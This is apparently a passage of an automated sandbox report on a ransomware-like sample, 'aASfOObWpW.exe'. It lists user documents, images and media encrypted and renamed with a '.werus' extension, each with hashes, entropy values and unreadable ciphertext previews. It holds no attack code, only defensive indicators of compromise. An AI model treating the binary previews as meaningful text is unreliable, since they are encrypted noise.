Preview:	.P..?...5.K..&y..7bz_SF....Me..:G.......]..;!..?...S.....?.....7.;i..E.R'....w.N....R........z..p.N..#................S.8..u......pr..@.U.L..".<...(....Y.SS..J<A.CA..A.&...YM.d...y.'E...G..\.D.o...@h....MM.c.X\{...{n'.8>f.....o...Y.....>...'.o.q9.K..HtN0!.bPcd.?C8.gr.13m%..O...2...Y^y..rL....f...8.. ...r........C$g.P.......c.^..+.f....m~...yK`.P..G._..bq..fSP......6...-..w..\x....Q...b.L.&;@........s.V...}.v..P...W..Y.B>........{.I...nr.k.v...o..c.....H..S..#H@.?..h"h:...C.f.bD..@.....s!..t-....{?.......O.Q...~.I.kt..D.e.69.....V...F.. eT..Y9.?.....M.=.<...7......].,>....O...\|mo.G..l^..[.a....a+.^.....R......)Z..l.......y.I...Z..w.;....X.(9...1..N.e..k....[xf\|.......t......P.x...w..w.N.......[?....F......]b...1z5.&..=.@.10.;....q..S....\|}a...S.o..sA..}..H.\.....sf..1..[.-5..RI...0K....v.k..!a......#.'0...<.....,$...^.n..gc...".-..C..~1..._.0.o...Kk..T..1.xU4.N...WyX...%.A.E-...~.K..d.zEw.;r`.).l..H.O..,..~.....S....m.....A

C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799624475284229
Encrypted:	false
SSDEEP:	24:Xz7+GlPkYmBJKGgzXITyKR6mpyEvNt49WxOb/ewceO:XWGXIh6xYI5ewceO
MD5:	B5B01B02FD9842BA8576AD743454FB0F
SHA1:	4613260115CF4CC4C38BBC5839437209AF600629
SHA-256:	0A64A3480B4A2AF1484CF62225025E62E906805C1D30273AFC565F2B69DEE41A
SHA-512:	F8AE1EC0FEB63D16F51571DE6CCF032C28E0340D2AA2E11F94E31A0177ED1A72CDF09E35C1B7A39F73EB0071277A65907CFD1B9F903120957BBF15252ECE3350
Malicious:	false
Preview:	....ow2....of....t0....A........0.R......dp...i.....H..T....Y..w#[.....SH.N.>E9.....AY.h.....[.F).8z.^0g....\...<7!.....%...=Fm...(....f\|.I......2.,.w6..........R..-.}e.............s#SU...... +=f...f..vc.}.:...%...Qx....K.....`>.l.`.V%...u..h.2..k#r.p...T.c...s.1.j.s5SnN.Qg.7'..;%.#.S.,...U.sv.F.X...].......T{....A..d...%.ye~...<Z.W.:..w...?).K..v..B,..[.A..eX.I..l.]N&.Q.....O.A.....">.....R...201@...G....j...h...\|E.^.B..d.b.. .~(....EbO~...oZ.%9%..'..So...U.I......+.0.q..i.4&...:...AQ$..u"..qK...}.....-).Gf.....{..X`......\|.i. .C`mt.K.1c.,.Gh..S.B...$..NQ.2"...I"$_.!;..ur.G].d..T"..M2.;..}._..>..H...H.J4.. .8..9..#.......).k..u..-......V..........(..5[.BO.c$...3.r......}...$..8K........E.._!6KQBx.O..0.r..}....&...snJ._....].V..._.H...s$]......\Z]..E.U....k..e....w.k.L....ja.,..z.$....\|......S....qg..J....lY.k.P.l.k.. ...d...XL.k.U.}O...z.T..=..w\..{z........e8^......S.Uy...LU.....{.Rh...'3..A...nn2=R.......g.q...n...(:.Z.lQ.+...zZ

C:\Users\user\Documents\EFOYFBOLXA\EOWRVPQCCS.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Documents\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794179227090859
Encrypted:	false
SSDEEP:	24:hG5WlvByrhqL3h3LyXNtHlHoM6ltSukA/n5K8PA6x94m7VlO2:8E2ALZyFHgbNkq4I02
MD5:	24C5BC94343E363D833DAEDEC1DB9AD3
SHA1:	FE51772B474BED28B31A894CEEE32ADE2DCCC4FD
SHA-256:	27D930E8EF3B82CBFAECEC1FF15215B4D391F0B21264C393BC53F793A8F8585A
SHA-512:	CD347224EDC054737CBB1A76EE09212F6304889D76C29113375B5953D7783C16E09370C000550E750A408EAD538D4BAFBD9FB472206A312C7135A5E346E9DB14
Malicious:	false
Preview:	.._7....vl..j.4m..9..}9P...1..e.....t3.......~.Y5[1..Z....9@.X.j.p1.oCwt.N:~&&....<..J2.@..v..=.=....&6.....z..A#..Tq.>C.Bc.B.2$...'..c.....).@..D...@...(.....7D..7..5.Uw=.s'vl.z..@......_m.N.e..k.....'7..........kZ....7<.A.).#\|.\|..E......q..._A..~P.....+.H...s..1-......NfR...e`.X......f...D..WKC0...j...8..^..%....r.Uy3.qK..J_...Q...u~GHNF7F.V.....j+......R......e.F8...x.&H.n.+.F/.W.c....[H..upYt....)9#.`..d.]r...`..;.n..S..........g.K].J}..I.)...+...u...&..?4Q&r.dKyM..N...f..B.l..p.....S`..ba`V.Y.w...5......f.......J...W....cn?..8....f......]E@..+....[......D>.6.w)'M`k./h..P.z.6.LO......i...v>op..%..^g..0.N......."\|0dV...)....Q.....F.8.h.=..$8...nT.\.O..q*.q.C..p...agX.Y......-.A5...K.A8.C..[K.7.k%.P.Ln..\|..9Y.6....w../.9.H{.\|...N.j.E.li.C.r\&3==.....@.._....E..._.Z.d...q......`.......<...;.C.5k.r^..J2.......[..t.#.8...c"<... ..'z...(v...OfC..#^..X...w.."..}.^9..6..sw..Y.E.O.a.}....c.~=...G.?.......i.."Y.E...f{..9e.........

C:\Users\user\Documents\EOWRVPQCCS.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Documents\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Documents\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Documents\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\Documents\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.844326187672133
Encrypted:	false
SSDEEP:	24:N0WcPSPcnCIvN3Z0KAvcJxS8rDAogzWsq/6eG/O1A60wspYxrfV:WP8SN36XvYEoCWfqYA60VI
MD5:	2B794A3B87F1D2D9929712C391D7FF89
SHA1:	524F9C17EBBA80671A5DB7C26F01254CC48B245C
SHA-256:	3D324E968BB6605C81C234A3326B68D4226B742A88044EE28D8A9448DEDD195A
SHA-512:	77CB3BB39E49C59E583F33C4230E3B037E2B854F75CC9D7DA29E1999BB06B8A9FDB25D7CF05A15A8D21C2BE497407C6F09D7EEC9878D16A1C8B5E45C0AB14190
Malicious:	false
Preview:	....1!..j.Zi..<...q.=.J70.X.?a.... ~._..s.b.^....R)..0.fp.P;.Y..s...0ZR..b.k/.v...q..t......w..BB.H.3@mT..7.$....O....c^.`.>.N@Z..,.....w..i.{........I..@....k.H1.)1...0~.....jy5.......8..AE.T~......-..I$8.q..{ ..._...p_.P@7L.Nn.0q....P.%l...l.G.+.0.._NV..jz..f%].U.(.Q..Zv-.9.....f...x?.z.<W.}......;\|......e....>..^a...M...4!"....X..........(...Q$M......Y..../f.$...'.f...Ll...M..-L..F...../..Q6..V....@.V......$..l...?@...\.s...xa..@.4....+rQ..fE..V?....(....Hr..p.r,0(z.4..t.Tx...!J.......opS..vyf../..>(h.<O....Wj.....-..#...1.. d....zj#.e^...s}~S....L.s...n.....a..}w.)...b.0r.....t.a"O.. .UDs..8W....c..T...w....<...]C3...G..U.T.?.mjY.B..q.w..Ac.G..../.]...u..z..!u....x...])KM"!^...!....&..J..D... ...2+Q.C(...m..O!...}\..3.....ur.v.z,5vG\.o.qJ..@..!].o.>Z.$h..@..wo.L...~s.g(k....Xz....J>.....5H.$4......e...J<.s9..%0.P.....y..dw..@......SF...t.I........%@4$... .".b4.l.M...U=.f...kPYr.T.....k.Z>......O.u. ..!_c.......T...]1...2.

C:\Users\user\Documents\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Documents\GRXZDKKVDB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794179227090859
Encrypted:	false
SSDEEP:	24:hG5WlvByrhqL3h3LyXNtHlHoM6ltSukA/n5K8PA6x94m7VlO2:8E2ALZyFHgbNkq4I02
MD5:	24C5BC94343E363D833DAEDEC1DB9AD3
SHA1:	FE51772B474BED28B31A894CEEE32ADE2DCCC4FD
SHA-256:	27D930E8EF3B82CBFAECEC1FF15215B4D391F0B21264C393BC53F793A8F8585A
SHA-512:	CD347224EDC054737CBB1A76EE09212F6304889D76C29113375B5953D7783C16E09370C000550E750A408EAD538D4BAFBD9FB472206A312C7135A5E346E9DB14
Malicious:	false
Preview:	.._7....vl..j.4m..9..}9P...1..e.....t3.......~.Y5[1..Z....9@.X.j.p1.oCwt.N:~&&....<..J2.@..v..=.=....&6.....z..A#..Tq.>C.Bc.B.2$...'..c.....).@..D...@...(.....7D..7..5.Uw=.s'vl.z..@......_m.N.e..k.....'7..........kZ....7<.A.).#\|.\|..E......q..._A..~P.....+.H...s..1-......NfR...e`.X......f...D..WKC0...j...8..^..%....r.Uy3.qK..J_...Q...u~GHNF7F.V.....j+......R......e.F8...x.&H.n.+.F/.W.c....[H..upYt....)9#.`..d.]r...`..;.n..S..........g.K].J}..I.)...+...u...&..?4Q&r.dKyM..N...f..B.l..p.....S`..ba`V.Y.w...5......f.......J...W....cn?..8....f......]E@..+....[......D>.6.w)'M`k./h..P.z.6.LO......i...v>op..%..^g..0.N......."\|0dV...)....Q.....F.8.h.=..$8...nT.\.O..q*.q.C..p...agX.Y......-.A5...K.A8.C..[K.7.k%.P.Ln..\|..9Y.6....w../.9.H{.\|...N.j.E.li.C.r\&3==.....@.._....E..._.Z.d...q......`.......<...;.C.5k.r^..J2.......[..t.#.8...c"<... ..'z...(v...OfC..#^..X...w.."..}.^9..6..sw..Y.E.O.a.}....c.~=...G.?.......i.."Y.E...f{..9e.........

C:\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. 